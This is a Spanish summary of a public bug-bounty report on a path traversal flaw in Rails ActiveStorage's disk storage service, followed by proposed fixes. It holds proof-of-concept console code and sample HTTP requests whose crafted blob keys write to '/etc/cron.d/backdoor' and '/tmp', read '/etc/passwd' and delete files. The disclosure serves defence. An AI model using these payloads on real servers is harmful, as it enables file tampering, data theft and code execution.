Reports
MEDIA[PATH TRAVERSAL]#3580511

Path traversal en ActiveStorage de Rails: una clave de blob manipulada permite escribir, leer y borrar ficheros

El DiskService de ActiveStorage construía rutas con la clave del blob sin validarla. Si una aplicación dejaba llegar datos del usuario al parámetro key: de attach(), se podía escribir, leer o borrar ficheros fuera del directorio de almacenamiento.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El fallo está en activestorage, en concreto en cómo el servicio de almacenamiento en disco (DiskService) traduce la clave de un blob a una ruta del sistema de ficheros. La clave se usaba tal cual, sin comprobar si contenía secuencias ../, de modo que una clave preparada podía apuntar a cualquier ruta del servidor a la que el proceso tuviera acceso.

Para que la clave llegue manipulada hace falta una pieza más: cuando a .attach() se le pasa un Hash, todos sus campos, incluido key:, se reenvían sin filtrar a la creación del blob. La guía oficial de Rails documenta key: como forma de organizar ficheros en carpetas (pensado para S3), así que es fácil que una aplicación acabe construyendo esa clave con datos que vienen del usuario.

El reporte fue enviado el 2 de marzo de 2026, el programa lo marcó como resuelto y se hizo público el 7 de mayo de 2026. HackerOne lo clasifica con severidad media; el investigador estimaba un CVSS de 8,1, dependiendo de cómo exponga cada aplicación este parámetro. Afecta a las aplicaciones que usan ActiveStorage con DiskService (el servicio por defecto en desarrollo y habitual en despliegues de un solo servidor o en instalaciones propias).

La cadena de fallos

Son cinco piezas que, por separado, parecen inofensivas:

1. El Hash de attach() se pasa entero. En activestorage/lib/active_storage/attached/changes/create_one.rb (líneas 82-88), todos los pares clave-valor del Hash se expanden con ** hacia Blob.build_after_unfurling:

when Hash
  ActiveStorage::Blob.build_after_unfurling(
    **attachable.reverse_merge(
      record: record,
      service_name: attachment_service_name
    ).symbolize_keys
  )

2. build_after_unfurling acepta cualquier key. En activestorage/app/models/active_storage/blob.rb (líneas 86-89), si key: no es nulo se entrega directamente a ActiveStorage::Blob.new:

def build_after_unfurling(key: nil, io:, filename:, content_type: nil, metadata: nil, service_name: nil, identify: true, record: nil)
  new(key: key, filename: filename, content_type: content_type, metadata: metadata, service_name: service_name).tap do |blob|
    blob.unfurl(io, identify: identify)
  end
end

3. El token seguro no sustituye una clave ya puesta. El blob usa has_secure_token :key, pero el callback de activerecord/lib/active_record/secure_token.rb (líneas 73-77) solo genera la clave aleatoria cuando el atributo está vacío:

set_callback on, on == :initialize ? :after : :before do
  if new_record? && !query_attribute(attribute)
    send("#{attribute}=", generate_token.call)
  end
end

El getter propio de key en blob.rb (líneas 176-179) también respeta el valor existente con self[:key] ||= ....

4. path_for no comprueba que la ruta quede dentro de la raíz. En activestorage/lib/active_storage/service/disk_service.rb (líneas 101-103 y 155-157):

def path_for(key)
  File.join root, folder_for(key), key
end

def folder_for(key)
  [ key[0..1], key[2..3] ].join("/")
end

File.join no neutraliza ../, así que una clave como ../../etc/cron.d/evil produce una ruta que sale del directorio de almacenamiento.

5. El modelo no valida el formato de la clave. ActiveStorage::Blob valida service_name y checksum, pero no key:

validates :service_name, presence: true
validates :checksum, presence: true, unless: :composed
# No validates :key, format: ...

Las únicas restricciones son NOT NULL y el índice UNIQUE en la base de datos, que no impiden caracteres de recorrido de directorios.

El recorrido completo queda así:

Attacker-controlled input
    ↓
Hash passed to model.file.attach({ ..., key: "../../malicious" })
    ↓
create_one.rb: **splat passes key: to build_after_unfurling
    ↓
blob.rb: Blob.new(key: "../../malicious", ...) — key stored as-is
    ↓
secure_token.rb: callback sees key is present, skips generation
    ↓
disk_service.rb: path_for("../../malicious")
    → File.join(root, folder_for(key), key)
    → escapes storage root directory
    ↓
upload/download/delete operates on arbitrary filesystem path

Pasos de reproducción

Prueba mínima en la consola de Rails

Con una aplicación configurada para usar DiskService:

  1. Crear un blob con una clave que contenga ../ y comprobar que se conserva en lugar de generarse una aleatoria:
blob = ActiveStorage::Blob.build_after_unfurling(
  key: "../../traversal_test",
  io: StringIO.new("pwned"),
  filename: "test.txt"
)
puts blob.key  # => "../../traversal_test" (not a secure random token)
  1. Ver la ruta que calcula el servicio para esa clave:
service = ActiveStorage::Blob.service  # DiskService instance
puts service.path_for("../../traversal_test")
# => "/rails/storage/../../tr/../../traversal_test"
# Resolves to a path outside /rails/storage/
  1. Repetir el proceso a través de attach(), como lo haría el código de una aplicación, guardar el registro y comprobar que el fichero resultante queda fuera de la raíz:
user = User.new(name: "test")
user.avatar.attach(
  io: StringIO.new("arbitrary content"),
  filename: "innocent.txt",
  key: "../../tmp/activestorage_poc_#{SecureRandom.hex(4)}"
)
user.save!

# Verify file was written outside storage root
poc_key = user.avatar.blob.key
resolved = File.expand_path(service.path_for(poc_key))
storage_root = File.expand_path(service.root)
puts "Key: #{poc_key}"
puts "Resolved path: #{resolved}"
puts "Escaped root?: #{!resolved.start_with?(storage_root)}"  # => true

Cómo llegaría desde una petición real

El investigador describe varios patrones de aplicación en los que el atacante controla la clave.

API que deja elegir la ruta. Un controlador que construye key: con un parámetro del usuario:

class Api::V1::DocumentsController < ApiController
  def create
    file = decode_base64_upload(params[:file_data])

    @project.documents.attach(
      io: file,
      filename: params[:filename],
      content_type: params[:content_type],
      key: "projects/#{@project.id}/#{params[:path]}"  # user input in key
    )

    render json: { status: "uploaded" }
  end
end

Con esta petición, el contenido subido acabaría en /etc/cron.d/backdoor si el proceso tiene permisos para escribir allí:

POST /api/v1/documents HTTP/1.1
Content-Type: application/json

{
  "file_data": "KiBldmlsIGNyb250YWIgZW50cnkK",
  "filename": "notes.txt",
  "content_type": "text/plain",
  "path": "../../../../etc/cron.d/backdoor"
}

Strong Parameters que permiten key. Si el controlador incluye :key entre los parámetros permitidos y pasa el Hash a attach():

class AssetsController < ApplicationController
  def create
    current_user.avatar.attach(avatar_params.merge(io: params[:file].tempfile))
  end

  private

  def avatar_params
    params.require(:avatar).permit(:filename, :content_type, :key)
  end
end
POST /assets HTTP/1.1
Content-Type: multipart/form-data

avatar[filename]=photo.jpg
avatar[content_type]=image/jpeg
avatar[key]=../../../../../../tmp/malicious_payload
[email protected]

El resultado es la escritura del fichero en /tmp/malicious_payload.

Asignación de atributos con un Hash abierto. Con has_one_attached, el setter del atributo deja pasar el Hash por la misma vía vulnerable si el controlador lo permite sin restricciones:

class User < ApplicationRecord
  has_one_attached :avatar
end

class UsersController < ApplicationController
  def update
    @user.update!(user_params)
  end

  private

  def user_params
    params.require(:user).permit(:name, avatar: {})  # permissive Hash permit
  end
end

Un cuerpo JSON como { "user": { "avatar": { "io": ..., "filename": "x.jpg", "key": "../../sensitive" } } } introduciría la clave a través de la asignación al modelo.

Lectura y borrado. Una vez guardado un blob con clave manipulada, las operaciones posteriores trabajan sobre la ruta recorrida:

# After malicious blob is saved with key: "../../etc/passwd"
blob = ActiveStorage::Blob.find(malicious_blob_id)
content = blob.download  # reads /etc/passwd via DiskService
# Blob with key: "../../important_app_config.yml"
blob.purge  # calls service.delete(key) → File.delete(path_for(key))

Si la aplicación sirve el contenido de los blobs (el BlobsController por defecto u otro endpoint de descarga), el atacante puede leer ficheros arbitrarios; y al purgar el blob, manualmente o en la limpieza automática de blobs sin adjuntar, se borra el fichero al que apunta.

Impacto

Cada operación de DiskService se convierte en una primitiva sobre el sistema de ficheros del servidor:

| Operación | Método de DiskService | Qué permite | |---|---|---| | upload | IO.copy_stream(io, make_path_for(key)) | Escribir ficheros arbitrarios y crear directorios con mkdir_p | | download | File.binread path_for(key) | Leer ficheros arbitrarios | | delete | File.delete path_for(key) | Borrar ficheros arbitrarios | | delete_prefixed | Dir.glob(path_for("#{prefix}*")) + rm_rf | Borrado masivo por patrón | | exist? | File.exist? path_for(key) | Saber si un fichero existe |

Con la escritura arbitraria, según el investigador, se puede llegar a ejecución remota de código escribiendo en /etc/cron.d/, en ~/.ssh/authorized_keys, en inicializadores o ficheros de configuración de la aplicación, o en ficheros que Puma o Unicorn vigilan para reiniciarse. Siempre limitado a lo que permitan los permisos del proceso.

La condición para explotarlo es que la aplicación use DiskService y deje que alguna entrada del usuario llegue al Hash que se pasa a .attach(), en especial al campo key:.

Remediación

El programa marcó el reporte como resuelto, pero el texto divulgado no detalla qué cambio se aplicó. El investigador propuso tres medidas, y recomendaba combinar las dos primeras como defensa en profundidad:

Validar el formato de la clave en el modelo, rechazando cualquier carácter fuera de un conjunto seguro:

# activestorage/app/models/active_storage/blob.rb
validates :key, format: {
  with: /\A[a-zA-Z0-9\-_]+\z/,
  message: "contains invalid characters"
}

Comprobar en path_for que la ruta resuelta sigue dentro de la raíz:

# activestorage/lib/active_storage/service/disk_service.rb
def path_for(key)
  path = File.join(root, folder_for(key), key)
  full_path = File.expand_path(path)
  raise ArgumentError, "key escapes storage root" unless full_path.start_with?(File.expand_path(root))
  full_path
end

Descartar key cuando attach() recibe un Hash:

# activestorage/lib/active_storage/attached/changes/create_one.rb
when Hash
  ActiveStorage::Blob.build_after_unfurling(
    **attachable.except(:key, "key").reverse_merge(
      record: record,
      service_name: attachment_service_name
    ).symbolize_keys
  )